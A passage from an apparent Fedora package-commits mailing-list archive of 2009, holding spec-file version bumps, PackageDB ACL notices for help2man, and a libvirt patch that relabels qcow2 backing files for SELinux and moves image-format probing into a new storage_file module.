-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
+* Wed Jun 10 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-2
+- Add a versioned ToscaWidgets requirement
 
 * Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-1
 - Update to 0.9.6


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	5 Jun 2009 17:05:33 -0000	1.4
+++ sources	1 Oct 2009 15:01:36 -0000	1.5
@@ -1 +1 @@
-bf5d5593b862a171986eb8b8a13a28f9  tw.forms-0.9.6.tar.gz
+6a12e14d3d27de11c95567658b6ee6c2  tw.forms-0.9.7.2.tar.gz



From pkgdb at fedoraproject.org  Thu Oct  1 15:15:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:15:57 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091001151557.DA1FF10F87E@bastion2.fedora.phx.redhat.com>

corsepiu has set the watchcommits acl on help2man (Fedora 11) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Thu Oct  1 15:15:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:15:55 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091001151556.0273D10F800@bastion2.fedora.phx.redhat.com>

corsepiu has set the watchbugzilla acl on help2man (Fedora 11) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Thu Oct  1 15:16:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:16:01 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091001151601.2796710F88B@bastion2.fedora.phx.redhat.com>

corsepiu has set the watchbugzilla acl on help2man (Fedora 12) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Thu Oct  1 15:16:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:16:01 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091001151602.08D5810F894@bastion2.fedora.phx.redhat.com>

corsepiu has set the watchcommits acl on help2man (Fedora 12) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Thu Oct  1 15:16:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:16:20 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091001151620.3FF5510F875@bastion2.fedora.phx.redhat.com>

corsepiu has set the watchbugzilla acl on help2man (Fedora devel) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Thu Oct  1 15:16:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 15:16:25 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091001151625.6FA6410F7EA@bastion2.fedora.phx.redhat.com>

corsepiu has set the watchcommits acl on help2man (Fedora devel) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From limb at fedoraproject.org  Thu Oct  1 15:17:03 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Thu,  1 Oct 2009 15:17:03 +0000 (UTC)
Subject: rpms/roundcubemail/F-11 roundcubemail.spec, 1.23, 1.24 sources, 1.13,
	1.14
Message-ID: <20091001151703.8FE1B11C00C1@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27868

Modified Files:
	roundcubemail.spec sources 
Log Message:
0.3, fixes BZ 515505



Index: roundcubemail.spec
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-11/roundcubemail.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- roundcubemail.spec	15 Jul 2009 13:43:59 -0000	1.23
+++ roundcubemail.spec	1 Oct 2009 15:17:01 -0000	1.24
@@ -1,13 +1,13 @@
 %define roundcubedir %{_datadir}/roundcubemail
 Name: roundcubemail
-Version:  0.2.2
-Release:  2%{?dist}
+Version:  0.3
+Release:  1%{?dist}
 Summary: Round Cube Webmail is a browser-based multilingual IMAP client
 
 Group: Applications/System         
 License: GPLv2
 URL: http://www.roundcube.net
-Source0: roundcubemail-%{version}-dep.tar.gz
+Source0: roundcubemail-%{version}-stable-dep.tar.gz
 Source1: roundcubemail.conf
 Source2: roundcubemail.logrotate
 Source4: roundcubemail-README.fedora
@@ -45,7 +45,7 @@ requires the MySQL database or the Postg
 interface is fully skinnable using XHTML and CSS 2.
 
 %prep
-%setup -q -n roundcubemail-0.2.2-dep
+%setup -q -n roundcubemail-0.3-stable-dep
 
 %patch0 -p0
 #%patch1 -p0
@@ -143,6 +143,12 @@ exit 0
 %config(noreplace) %{_sysconfdir}/logrotate.d/roundcubemail
 
 %changelog
+* Wed Sep 23 2009 Jon Ciesla <limb at jcomserv.net> = 0.3-1
+- New upstream.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Jul 15 2009 Jon Ciesla <limb at jcomserv.net> = 0.2.2-2
 - Incorporated Chris Eveleigh's config changes to fix mimetype bug, BZ 511857.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	15 Jul 2009 13:43:59 -0000	1.13
+++ sources	1 Oct 2009 15:17:02 -0000	1.14
@@ -1 +1 @@
-926d6391bc4014476ce8461354ed9c9f  roundcubemail-0.2.2-dep.tar.gz
+f574e0c1f22194c752f5ae415a90d6cc  roundcubemail-0.3-stable-dep.tar.gz



From markmc at fedoraproject.org  Thu Oct  1 15:17:31 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu,  1 Oct 2009 15:17:31 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-svirt-relabel-qcow2-backing-files.patch, 
	NONE, 1.1 libvirt.spec, 1.185, 1.186
Message-ID: <20091001151731.E2C4611C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27978

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-svirt-relabel-qcow2-backing-files.patch 
Log Message:
- Re-label qcow2 backing files (#497131)

libvirt-svirt-relabel-qcow2-backing-files.patch:
 Makefile.am          |    1 
 libvirt_private.syms |    7 
 security_selinux.c   |   28 +++
 storage_backend.c    |   17 +-
 storage_backend_fs.c |  418 +++++---------------------------------------------
 storage_conf.c       |   25 +--
 storage_conf.h       |   17 --
 storage_file.c       |  424 +++++++++++++++++++++++++++++++++++++++++++++++++++
 storage_file.h       |   62 +++++++
 util.h               |    1 
 vbox/vbox_tmpl.c     |   16 -
 11 files changed, 591 insertions(+), 425 deletions(-)

--- NEW FILE libvirt-svirt-relabel-qcow2-backing-files.patch ---
>From 5bb2da190bc6d5a36952315dd48a00709f88c3c2 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Fri, 25 Sep 2009 14:20:13 +0100
Subject: [PATCH] Re-label image file backing stores

Use virStorageFileGetMetadata() to find any backing stores for images
and re-label them

Without this, qemu cannot access qcow2 backing files, see:

  https://bugzilla.redhat.com/497131

* src/security/security_selinux.c: re-label backing store files in
  SELinuxSetSecurityImageLabel()

(cherry picked from commit fe627697a3830cd2db0efcc201d8caa9e171263d)

Includes the following commits:

  util.h needs libvirt.h for virConnectPtr

  Seems standard to include internal.h in order to pull in libvirt.h

  * src/util/util.h: include internal.h

  (cherry picked from commit 25e2857c219e7fb91412746f7919931552c4e07a)

  Move file format enum to libvirt_util

  Rename virStorageVolFormatFileSystem to virStorageFileFormat and
  move to src/util/storage_file.[ch]

  * src/Makefile.am: add src/util/storage_file.[ch]

  * src/conf/storage_conf.[ch]: move enum from here ...

  * src/util/storage_file.[ch]: .. to here

  * src/libvirt_private.syms: update To/FromString exports

  * src/storage/storage_backend.c, src/storage/storage_backend_fs.c,
    src/vbox/vbox_tmpl.c: update for above changes

  (cherry picked from commit 00fd3ff49bb1e4578756a32a812fdbf5ee335d8c)

  Split virStorageGetMetadataFromFD() from virStorageBackendProbeTarget()

  Prepare the code probing a file's format and associated metadata for
  moving into libvirt_util.

  * src/storage/storage_backend_fs.c: re-factor the format and metadata
    probing code in preparation for moving it

  (cherry picked from commit f5fc670638d94776a4eba55f5affa69f69ba1ae2)

  Introduce virStorageFileMetadata structure

  Introduce a metadata structure and make virStorageGetMetadataFromFD()
  fill it in.

  * src/util/storage_file.h: add virStorageFileMetadata

  * src/backend/storage_backend_fs.c: virStorageGetMetadataFromFD() now
    fills in the virStorageFileMetadata structure

  (cherry picked from commit 5fede0a90be565e1c44b7c8236cb8910fd06b52f)

  Move virStorageGetMetadataFromFD() to libvirt_util

  Finally, we get to the point of all this.

  Move virStorageGetMetadataFromFD() to virStorageFileGetMetadataFromFD()
  and move to src/util/storage_file.[ch]

  There's no functional changes in this patch, just code movement

  * src/storage/storage_backend_fs.c: move code from here ...

  * src/util/storage_file.[ch]: ... to here

  * src/libvirt_private.syms: export virStorageFileGetMetadataFromFD()

  (cherry picked from commit a010fb58d6bce026852d611e32302da7687639e5)

  Add virStorageFileGetMetadata() helper

  * src/util/storage_file.c: add virStorageFileGetMetadata() so that
    the caller does not need to open the file

  (cherry picked from commit 295fd6e8330c7416e2d97634364f2890133c28fa)

Fedora-patch: libvirt-svirt-relabel-qcow2-backing-files.patch
---
 src/Makefile.am          |    1 +
 src/libvirt_private.syms |    7 +-
 src/security_selinux.c   |   28 +++
 src/storage_backend.c    |   17 +-
 src/storage_backend_fs.c |  418 +++++----------------------------------------
 src/storage_conf.c       |   25 +--
 src/storage_conf.h       |   17 --
 src/storage_file.c       |  424 ++++++++++++++++++++++++++++++++++++++++++++++
 src/storage_file.h       |   62 +++++++
 src/util.h               |    1 +
 src/vbox/vbox_tmpl.c     |   15 +-
 11 files changed, 591 insertions(+), 424 deletions(-)
 create mode 100644 src/storage_file.c
 create mode 100644 src/storage_file.h

diff --git a/src/Makefile.am b/src/Makefile.am
index 463252e..3d279f2 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -54,6 +54,7 @@ UTIL_SOURCES =							\
 		hostusb.c hostusb.h				\
 		qparams.c qparams.h				\
 		storage_encryption_conf.h storage_encryption_conf.c	\
+		storage_file.c storage_file.h			\
 		threads.c threads.h				\
 		threads-pthread.h				\
 		threads-win32.h					\
diff --git a/src/libvirt_private.syms b/src/libvirt_private.syms
index 867678f..500c209 100644
--- a/src/libvirt_private.syms
+++ b/src/libvirt_private.syms
@@ -359,8 +359,6 @@ virStorageVolDefParseNode;
 virStoragePoolFormatDiskTypeToString;
 virStoragePoolFormatFileSystemTypeToString;
 virStoragePoolFormatFileSystemNetTypeToString;
-virStorageVolFormatFileSystemTypeToString;
-virStorageVolFormatFileSystemTypeFromString;
 virStoragePoolTypeFromString;
 virStoragePartedFsTypeTypeToString;
 virStoragePoolObjLock;
@@ -373,6 +371,11 @@ virStorageEncryptionParseNode;
 virStorageEncryptionFormat;
 virStorageGenerateQcowPassphrase;
 
+# storage_file.h
+virStorageFileFormatTypeToString;
+virStorageFileFormatTypeFromString;
+virStorageFileGetMetadata;
+virStorageFileGetMetadataFromFD;
 
 # threads.h
 virMutexInit;
diff --git a/src/security_selinux.c b/src/security_selinux.c
index b4dc153..600fc75 100644
--- a/src/security_selinux.c
+++ b/src/security_selinux.c
@@ -27,6 +27,7 @@
 #include "logging.h"
 #include "pci.h"
 #include "hostusb.h"
+#include "storage_file.h"
 
 #define VIR_FROM_THIS VIR_FROM_SECURITY
 
@@ -403,10 +404,37 @@ SELinuxSetSecurityImageLabel(virConnectPtr conn,
 
 {
     const virSecurityLabelDefPtr secdef = &vm->def->seclabel;
+    const char *path;
 
     if (!disk->src)
         return 0;
 
+    path = disk->src;
+    do {
+        virStorageFileMetadata meta;
+        int ret;
+
+        memset(&meta, 0, sizeof(meta));
+
+        ret = virStorageFileGetMetadata(conn, path, &meta);
+
+        if (path != disk->src)
+            VIR_FREE(path);
+        path = NULL;
+
+        if (ret < 0)
+            return -1;
+
+        if (meta.backingStore != NULL &&
+            SELinuxSetFilecon(conn, meta.backingStore,
+                              default_content_context) < 0) {
+            VIR_FREE(meta.backingStore);
+            return -1;
+        }
+
+        path = meta.backingStore;
+    } while (path != NULL);
+
     if (disk->shared) {
         return SELinuxSetFilecon(conn, disk->src, default_image_context);
     } else if (disk->readonly) {
diff --git a/src/storage_backend.c b/src/storage_backend.c
index 800d4ea..1b65c5d 100644
--- a/src/storage_backend.c
+++ b/src/storage_backend.c
@@ -51,6 +51,7 @@
 #include "internal.h"
 #include "secret_conf.h"
 #include "uuid.h"
+#include "storage_file.h"
 #include "storage_backend.h"
 #include "logging.h"
 
@@ -462,16 +463,16 @@ virStorageBackendCreateQemuImg(virConnectPtr conn,
     char *create_tool;
     short use_kvmimg;
 
-    const char *type = virStorageVolFormatFileSystemTypeToString(vol->target.format);
+    const char *type = virStorageFileFormatTypeToString(vol->target.format);
     const char *backingType = vol->backingStore.path ?
-        virStorageVolFormatFileSystemTypeToString(vol->backingStore.format) : NULL;
+        virStorageFileFormatTypeToString(vol->backingStore.format) : NULL;
 
     const char *inputBackingPath = (inputvol ? inputvol->backingStore.path
                                              : NULL);
     const char *inputPath = inputvol ? inputvol->target.path : NULL;
     /* Treat input block devices as 'raw' format */
     const char *inputType = inputPath ?
-                            virStorageVolFormatFileSystemTypeToString(inputvol->type == VIR_STORAGE_VOL_BLOCK ? VIR_STORAGE_VOL_FILE_RAW : inputvol->target.format) :
+                            virStorageFileFormatTypeToString(inputvol->type == VIR_STORAGE_VOL_BLOCK ? VIR_STORAGE_FILE_RAW : inputvol->target.format) :
                             NULL;
 
     const char **imgargv;
@@ -552,8 +553,8 @@ virStorageBackendCreateQemuImg(virConnectPtr conn,
     if (vol->target.encryption != NULL) {
         virStorageEncryptionPtr enc;
 
-        if (vol->target.format != VIR_STORAGE_VOL_FILE_QCOW &&
-            vol->target.format != VIR_STORAGE_VOL_FILE_QCOW2) {
+        if (vol->target.format != VIR_STORAGE_FILE_QCOW &&
+            vol->target.format != VIR_STORAGE_FILE_QCOW2) {
             virStorageReportError(conn, VIR_ERR_NO_SUPPORT,
                                   _("qcow volume encryption unsupported with "
                                     "volume format %s"), type);
@@ -644,7 +645,7 @@ virStorageBackendCreateQcowCreate(virConnectPtr conn,
         return -1;
     }
 
-    if (vol->target.format != VIR_STORAGE_VOL_FILE_QCOW2) {
+    if (vol->target.format != VIR_STORAGE_FILE_QCOW2) {
         virStorageReportError(conn, VIR_ERR_INTERNAL_ERROR,
                               _("unsupported storage vol type %d"),
                               vol->target.format);
@@ -735,9 +736,9 @@ virStorageBackendGetBuildVolFromFunction(virConnectPtr conn,
      * tool for converting
      */
     if ((vol->type == VIR_STORAGE_VOL_FILE &&
-         vol->target.format != VIR_STORAGE_VOL_FILE_RAW) ||
+         vol->target.format != VIR_STORAGE_FILE_RAW) ||
         (inputvol->type == VIR_STORAGE_VOL_FILE &&
-         inputvol->target.format != VIR_STORAGE_VOL_FILE_RAW)) {
+         inputvol->target.format != VIR_STORAGE_FILE_RAW)) {
 
         if ((tool_type = virStorageBackendFindFSImageTool(NULL)) < 0) {
             virStorageReportError(conn, VIR_ERR_INTERNAL_ERROR,
diff --git a/src/storage_backend_fs.c b/src/storage_backend_fs.c
index 01cb171..6816da8 100644
--- a/src/storage_backend_fs.c
+++ b/src/storage_backend_fs.c
@@ -41,259 +41,24 @@
 #include "virterror_internal.h"
 #include "storage_backend_fs.h"
 #include "storage_conf.h"
+#include "storage_file.h"
 #include "util.h"
 #include "memory.h"
 #include "xml.h"
 
-enum lv_endian {
-    LV_LITTLE_ENDIAN = 1, /* 1234 */
-    LV_BIG_ENDIAN         /* 4321 */
-};
-
-enum {
-    BACKING_STORE_OK,
-    BACKING_STORE_INVALID,
-    BACKING_STORE_ERROR,
-};
-
-static int cowGetBackingStore(virConnectPtr, char **,
-                              const unsigned char *, size_t);
-static int qcowXGetBackingStore(virConnectPtr, char **,
-                                const unsigned char *, size_t);
-static int vmdk4GetBackingStore(virConnectPtr, char **,
-                                const unsigned char *, size_t);
-
-/* Either 'magic' or 'extension' *must* be provided */
-struct FileTypeInfo {
-    int type;           /* One of the constants above */
-    const char *magic;  /* Optional string of file magic
-                         * to check at head of file */
-    const char *extension; /* Optional file extension to check */
-    enum lv_endian endian; /* Endianness of file format */
-    int versionOffset;    /* Byte offset from start of file
-                           * where we find version number,
-                           * -1 to skip version test */
-    int versionNumber;    /* Version number to validate */
-    int sizeOffset;       /* Byte offset from start of file
-                           * where we find capacity info,
-                           * -1 to use st_size as capacity */
-    int sizeBytes;        /* Number of bytes for size field */
-    int sizeMultiplier;   /* A scaling factor if size is not in bytes */
-                          /* Store a COW base image path (possibly relative),
-                           * or NULL if there is no COW base image, to RES;
-                           * return BACKING_STORE_* */
-    int qcowCryptOffset;  /* Byte offset from start of file
-                           * where to find encryption mode,
-                           * -1 if encryption is not used */
-    int (*getBackingStore)(virConnectPtr conn, char **res,
-                           const unsigned char *buf, size_t buf_size);
-};
-struct FileTypeInfo const fileTypeInfo[] = {
-    /* Bochs */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_BOCHS, "Bochs Virtual HD Image", NULL,
-      LV_LITTLE_ENDIAN, 64, 0x20000,
-      32+16+16+4+4+4+4+4, 8, 1, -1, NULL },*/
-    /* CLoop */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_CLOOP, "#!/bin/sh\n#V2.0 Format\nmodprobe cloop file=$0 && mount -r -t iso9660 /dev/cloop $1\n", NULL,
-      LV_LITTLE_ENDIAN, -1, 0,
-      -1, 0, 0, -1, NULL }, */
-    /* Cow */
-    { VIR_STORAGE_VOL_FILE_COW, "OOOM", NULL,
-      LV_BIG_ENDIAN, 4, 2,
-      4+4+1024+4, 8, 1, -1, cowGetBackingStore },
-    /* DMG */
-    /* XXX QEMU says there's no magic for dmg, but we should check... */
-    { VIR_STORAGE_VOL_FILE_DMG, NULL, ".dmg",
-      0, -1, 0,
-      -1, 0, 0, -1, NULL },
-    /* XXX there's probably some magic for iso we can validate too... */
-    { VIR_STORAGE_VOL_FILE_ISO, NULL, ".iso",
-      0, -1, 0,
-      -1, 0, 0, -1, NULL },
-    /* Parallels */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_PARALLELS, "WithoutFreeSpace", NULL,
-      LV_LITTLE_ENDIAN, 16, 2,
-      16+4+4+4+4, 4, 512, -1, NULL },
-    */
-    /* QCow */
-    { VIR_STORAGE_VOL_FILE_QCOW, "QFI", NULL,
-      LV_BIG_ENDIAN, 4, 1,
-      4+4+8+4+4, 8, 1, 4+4+8+4+4+8+1+1+2, qcowXGetBackingStore },
-    /* QCow 2 */
-    { VIR_STORAGE_VOL_FILE_QCOW2, "QFI", NULL,
-      LV_BIG_ENDIAN, 4, 2,
-      4+4+8+4+4, 8, 1, 4+4+8+4+4+8, qcowXGetBackingStore },
-    /* VMDK 3 */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_VMDK, "COWD", NULL,
-      LV_LITTLE_ENDIAN, 4, 1,
-      4+4+4, 4, 512, -1, NULL },
-    */
-    /* VMDK 4 */
-    { VIR_STORAGE_VOL_FILE_VMDK, "KDMV", NULL,
-      LV_LITTLE_ENDIAN, 4, 1,
-      4+4+4, 8, 512, -1, vmdk4GetBackingStore },
-    /* Connectix / VirtualPC */
-    /* XXX Untested
-    { VIR_STORAGE_VOL_FILE_VPC, "conectix", NULL,
-      LV_BIG_ENDIAN, -1, 0,
-      -1, 0, 0, -1, NULL},
-    */
-};
-
 #define VIR_FROM_THIS VIR_FROM_STORAGE
 
 static int
-cowGetBackingStore(virConnectPtr conn,
-                   char **res,
-                   const unsigned char *buf,
-                   size_t buf_size)
-{
-#define COW_FILENAME_MAXLEN 1024
-    *res = NULL;
-    if (buf_size < 4+4+ COW_FILENAME_MAXLEN)
-        return BACKING_STORE_INVALID;
-    if (buf[4+4] == '\0') /* cow_header_v2.backing_file[0] */
-        return BACKING_STORE_OK;
-
-    *res = strndup ((const char*)buf + 4+4, COW_FILENAME_MAXLEN);
-    if (*res == NULL) {
-        virReportOOMError(conn);
-        return BACKING_STORE_ERROR;
-    }
-    return BACKING_STORE_OK;
-}
-
-static int
-qcowXGetBackingStore(virConnectPtr conn,
-                     char **res,
-                     const unsigned char *buf,
-                     size_t buf_size)
-{
-    unsigned long long offset;
-    unsigned long size;
-
-    *res = NULL;
-    if (buf_size < 4+4+8+4)
-        return BACKING_STORE_INVALID;
-    offset = (((unsigned long long)buf[4+4] << 56)
-              | ((unsigned long long)buf[4+4+1] << 48)
-              | ((unsigned long long)buf[4+4+2] << 40)
-              | ((unsigned long long)buf[4+4+3] << 32)
-              | ((unsigned long long)buf[4+4+4] << 24)
-              | ((unsigned long long)buf[4+4+5] << 16)
-              | ((unsigned long long)buf[4+4+6] << 8)
-              | buf[4+4+7]); /* QCowHeader.backing_file_offset */
-    if (offset > buf_size)
-        return BACKING_STORE_INVALID;
-    size = ((buf[4+4+8] << 24)
-            | (buf[4+4+8+1] << 16)
-            | (buf[4+4+8+2] << 8)
-            | buf[4+4+8+3]); /* QCowHeader.backing_file_size */
-    if (size == 0)
-        return BACKING_STORE_OK;
-    if (offset + size > buf_size || offset + size < offset)
-        return BACKING_STORE_INVALID;
-    if (size + 1 == 0)
-        return BACKING_STORE_INVALID;
-    if (VIR_ALLOC_N(*res, size + 1) < 0) {
-        virReportOOMError(conn);
-        return BACKING_STORE_ERROR;
-    }
-    memcpy(*res, buf + offset, size);
-    (*res)[size] = '\0';
-    return BACKING_STORE_OK;
-}
-
-
-static int
-vmdk4GetBackingStore(virConnectPtr conn,
-                     char **res,
-                     const unsigned char *buf,
-                     size_t buf_size)
-{
-    static const char prefix[] = "parentFileNameHint=\"";
-
-    char desc[20*512 + 1], *start, *end;
-    size_t len;
-
-    *res = NULL;
-
-    if (buf_size <= 0x200)
-        return BACKING_STORE_INVALID;
-    len = buf_size - 0x200;
-    if (len > sizeof(desc) - 1)
-        len = sizeof(desc) - 1;
-    memcpy(desc, buf + 0x200, len);
-    desc[len] = '\0';
-    start = strstr(desc, prefix);
-    if (start == NULL)
-        return BACKING_STORE_OK;
-    start += strlen(prefix);
-    end = strchr(start, '"');
-    if (end == NULL)
-        return BACKING_STORE_INVALID;
-    if (end == start)
-        return BACKING_STORE_OK;
-    *end = '\0';
-    *res = strdup(start);
-    if (*res == NULL) {
-        virReportOOMError(conn);
-        return BACKING_STORE_ERROR;
-    }
-    return BACKING_STORE_OK;
-}
-
-/**
- * Return an absolute path corresponding to PATH, which is absolute or relative
- * to the directory containing BASE_FILE, or NULL on error
- */
-static char *absolutePathFromBaseFile(const char *base_file, const char *path)
+virStorageBackendProbeTarget(virConnectPtr conn,
+                             virStorageVolTargetPtr target,
+                             char **backingStore,
+                             unsigned long long *allocation,
+                             unsigned long long *capacity,
+                             virStorageEncryptionPtr *encryption)
 {
-    size_t base_size, path_size;
-    char *res, *p;
-
-    if (*path == '/')
-        return strdup(path);
-
-    base_size = strlen(base_file) + 1;
-    path_size = strlen(path) + 1;
-    if (VIR_ALLOC_N(res, base_size - 1 + path_size) < 0)
-        return NULL;
-    memcpy(res, base_file, base_size);
-    p = strrchr(res, '/');
-    if (p != NULL)
-        p++;
-    else
-        p = res;
-    memcpy(p, path, path_size);
-    if (VIR_REALLOC_N(res, (p + path_size) - res) < 0) {
-        /* Ignore failure */
-    }
-    return res;
-}
-
-
-
-/**
- * Probe the header of a file to determine what type of disk image
- * it is, and info about its capacity if available.
- */
-static int virStorageBackendProbeTarget(virConnectPtr conn,
-                                        virStorageVolTargetPtr target,
-                                        char **backingStore,
-                                        unsigned long long *allocation,
-                                        unsigned long long *capacity,
-                                        virStorageEncryptionPtr *encryption) {
-    int fd;
-    unsigned char head[20*512]; /* vmdk4GetBackingStore needs this much. */
-    int len, i, ret;
+    int fd, ret;
+    virStorageFileMetadata meta;
 
-    if (backingStore)
-        *backingStore = NULL;
     if (encryption)
         *encryption = NULL;
 
@@ -311,148 +76,51 @@ static int virStorageBackendProbeTarget(virConnectPtr conn,
         return ret; /* Take care to propagate ret, it is not always -1 */
     }
 
-    if ((len = read(fd, head, sizeof(head))) < 0) {
-        virReportSystemError(conn, errno,
-                             _("cannot read header '%s'"),
-                             target->path);
+    memset(&meta, 0, sizeof(meta));
+
+    if (virStorageFileGetMetadataFromFD(conn, target->path, fd, &meta) < 0) {
         close(fd);
         return -1;
     }
 
     close(fd);
 
-    /* First check file magic */
-    for (i = 0 ; i < ARRAY_CARDINALITY(fileTypeInfo) ; i++) {
-        int mlen;
-        bool encrypted_qcow = false;
-
-        if (fileTypeInfo[i].magic == NULL)
-            continue;
-
-        /* Validate magic data */
-        mlen = strlen(fileTypeInfo[i].magic);
-        if (mlen > len)
-            continue;
-        if (memcmp(head, fileTypeInfo[i].magic, mlen) != 0)
-            continue;
-
-        /* Validate version number info */
-        if (fileTypeInfo[i].versionNumber != -1) {
-            int version;
-
-            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
-                version = (head[fileTypeInfo[i].versionOffset+3] << 24) |
-                    (head[fileTypeInfo[i].versionOffset+2] << 16) |
-                    (head[fileTypeInfo[i].versionOffset+1] << 8) |
-                    head[fileTypeInfo[i].versionOffset];
-            } else {
-                version = (head[fileTypeInfo[i].versionOffset] << 24) |
-                    (head[fileTypeInfo[i].versionOffset+1] << 16) |
-                    (head[fileTypeInfo[i].versionOffset+2] << 8) |
-                    head[fileTypeInfo[i].versionOffset+3];
-            }
-            if (version != fileTypeInfo[i].versionNumber)
-                continue;
-        }
-
-        /* Optionally extract capacity from file */
-        if (fileTypeInfo[i].sizeOffset != -1 && capacity) {
-            if (fileTypeInfo[i].endian == LV_LITTLE_ENDIAN) {
-                *capacity =
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7] << 56) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 48) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 40) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 32) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 24) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 16) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 8) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset]);
-            } else {
-                *capacity =
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset] << 56) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+1] << 48) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+2] << 40) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+3] << 32) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+4] << 24) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+5] << 16) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+6] << 8) |
-                    ((unsigned long long)head[fileTypeInfo[i].sizeOffset+7]);
-            }
-            /* Avoid unlikely, but theoretically possible overflow */
-            if (*capacity > (ULLONG_MAX / fileTypeInfo[i].sizeMultiplier))
-                continue;
-            *capacity *= fileTypeInfo[i].sizeMultiplier;
-        }
-
-        if (fileTypeInfo[i].qcowCryptOffset != -1) {
-            int crypt_format;
+    target->format = meta.format;
 
-            crypt_format = (head[fileTypeInfo[i].qcowCryptOffset] << 24) |
-                (head[fileTypeInfo[i].qcowCryptOffset+1] << 16) |
-                (head[fileTypeInfo[i].qcowCryptOffset+2] << 8) |
-                head[fileTypeInfo[i].qcowCryptOffset+3];
-            encrypted_qcow = crypt_format != 0;
-        }
-
-        /* Validation passed, we know the file format now */
-        target->format = fileTypeInfo[i].type;
-        if (fileTypeInfo[i].getBackingStore != NULL && backingStore) {
-            char *base;
+    if (backingStore) {
+        *backingStore = meta.backingStore;
+        meta.backingStore = NULL;
+    }
 
-            switch (fileTypeInfo[i].getBackingStore(conn, &base, head, len)) {
-            case BACKING_STORE_OK:
-                break;
+    VIR_FREE(meta.backingStore);
 
-            case BACKING_STORE_INVALID:
-                continue;
+    if (capacity && meta.capacity)
+        *capacity = meta.capacity;
 
-            case BACKING_STORE_ERROR:
-                return -1;
-            }
-            if (base != NULL) {
-                *backingStore
-                    = absolutePathFromBaseFile(target->path, base);
-                VIR_FREE(base);
-                if (*backingStore == NULL) {
-                    virReportOOMError(conn);
-                    return -1;
-                }
-            }
+    if (encryption != NULL && meta.encrypted) {
+        if (VIR_ALLOC(*encryption) < 0) {
+            virReportOOMError(conn);
+            if (backingStore)
+                VIR_FREE(*backingStore);
+            return -1;
         }
-        if (encryption != NULL && encrypted_qcow) {
-            virStorageEncryptionPtr enc;
 
